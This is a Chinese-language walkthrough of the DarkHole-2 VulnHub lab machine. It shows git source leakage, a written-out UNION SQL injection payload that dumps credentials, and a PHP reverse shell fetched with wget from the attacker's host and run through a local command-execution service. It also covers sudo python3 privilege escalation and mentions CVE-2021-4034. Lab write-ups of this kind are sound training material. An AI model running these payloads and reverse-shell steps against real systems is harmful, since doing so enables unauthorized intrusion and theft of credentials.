vulnhub靶场——DarkHole-2
准备
攻击机: kali, win11
靶机: DARKHOLE: 2 NAT 192.168.91.0 网段
下载链接:
https://www.vulnhub.com/entry/darkhole-2,740/
信息搜集与利用
主机发现
python3 ping.py -H 192.168.91.0/24
如图所示得到目标靶机IP地址: 192.168.91.191
端口扫描
nmap -sV -O -A -p- -T4 192.168.91.191 –oN DarkHole2_nmap.txt
如图所示开放了 22,80, 其中发现了 git 泄露,目录扫描那么也能发现
目录扫描
python3 dirsearch.py -u http://192.168.91.191/
挨个儿访问
git 泄露
python2 .\git_extract.py http://192.168.91.191/.git/
注意:git_extract 工具有时候可能下载不完整,推荐方法换一个工具,github开源很多。
用工具下载到本地。
代码审计
index.php 中:
很明显看到 dashboard.php?id=xxxx, 且 跟 SESSION 相关。
login.php中:
如图所示:有账号密码(lush@admin.com:321),待会儿看能不能登陆进去。
login.php 0904b1 中:
如图所示: 得到了 sql 语句,其中对 email,pass 两个变量调用了 mysqli_real_escape_string,htmlspecialchars 这两个函数,这两个函数的作用大致就是对其输入进行转换过滤,那么在登陆界面sql注入几乎是不太可能的了。函数具体用法自行翻看手册。
config.php 中:
如图所示: 用户名: root ,密码:空,数据库: darkhole_2
COMMIT_EDITMSG 中:
如图所示: 翻译过来: 我更改了 login.php 文件以更安全
HTTP
http://192.168.91.191/login.php
来当登陆界面,尝试用刚刚找的邮箱和密码登陆
如图所示:登陆成功,同时可以看到 上方 URL 处 id=1,那么存在sql注入的可能性。
要么 sqlmap 一把梭或者手动注入
SQLI注入
手动注入的话,是很基础的。详细步骤省略。http://192.168.91.191/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(username,0x2d,password) from users --+
如图所示:得到 users 表中的用户名和密码:
Jehad Alqurashiasddasdasdas:321
http://192.168.91.191/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x2d,pass) from ssh--+
如图所示:得到 ssh 表中的用户和密码:
jehad:fool
ssh 登陆
既然是 ssh 表,那么尝试ssh 登陆
如图所示:登陆成功
cat /etc/passwd | grep “/bin/bash”
如图所示:具有 /bin/bash 的用户除了 root 外 有: lama, jehad, losy 。
查看 历史命令记录
cat .bash_history
发现本地有9999端口的服务。
查看 socket 统计信息
ss -antp
如图所示: 可以看到 127.0.0.1:9999 端口存在活动。
提权
方法一
方法一:按照作者思路
curl “http://127.0.0.1:9999/"
查看一下本地服务的内容
如图所示:可以看到 GET 了 一个 cmd 参数,与历史记录相符合。在历史命令记录中: wget 下载了一个 反弹shell
那我们也要来反弹shell,
编辑本地得 php-reverse-shell.php 将IP改为 kali 得 IP地址和监听端口。
在本地启动一个http 服务用于下载
python3 -m http.server 8000
然后将其下载到把集中,然后 利用 127.0.0.1?cmd 来执行
wget http://172.46.237.107:8000/php-reverse-shell.php
执行
curl “http://127.0.0.1:9999/?cmd=php%20/tmp/php-reverse-shell.php"
如图所示 反弹 shell 成功,且是 losy 用户的 shell ,不是 jehad 用户。
python3 -c “import pty;pty.spawn(‘/bin/bash’)”
切换到标准 shell
flag 1
losy 家目录下 user.txt
在 jehad 用户中我们查看了 命令历史记录,在这里我们查看一下啊 losy 用户的历史记录
cat -n ./bash_history
如图所示:在第 88 行 发现了账号密码: losy:gang, 最后只有密码也为: gang。
sudo -l 查看命令
如图所示:输入 sudo -l 需要输入密码,而密码正好是 gang , 同时** /usr/bin/python3** 可以提权。
直接 sudo /usr/bin/python3 执行python 文件就能得到 root
sudo /usr/bin/python3 -c “import os;os.system(‘/bin/bash’)”
如图所示: sudo 提权成功。
flag 2
方法二
find / -perm -u=s -type f 2>/dev/null
老方法查看SUID权限内容,发现一个眼熟的:
/usr/lib/policykit-1/polkit-agent-helper-1
对应于 CVE-2021-4034
在我以前的文章中有说到 这个漏洞。这个漏洞今年才发布,在2021年的l对于Linux 影响很深,几乎所有的发行版本都存在这个漏洞,因此这个靶机诞生的那一天,这个漏洞还不存在。在今天(2022年2月18日)来说这就是一个新的提权方法。关于 CVE-2021-4034 的详细信息请自行搜索。
直接利用它: 具体使用方法请看我最近的文章。
总结
- git 泄漏
- sql注入
- 命令执行
- 反弹shell
- CVE-2021-4034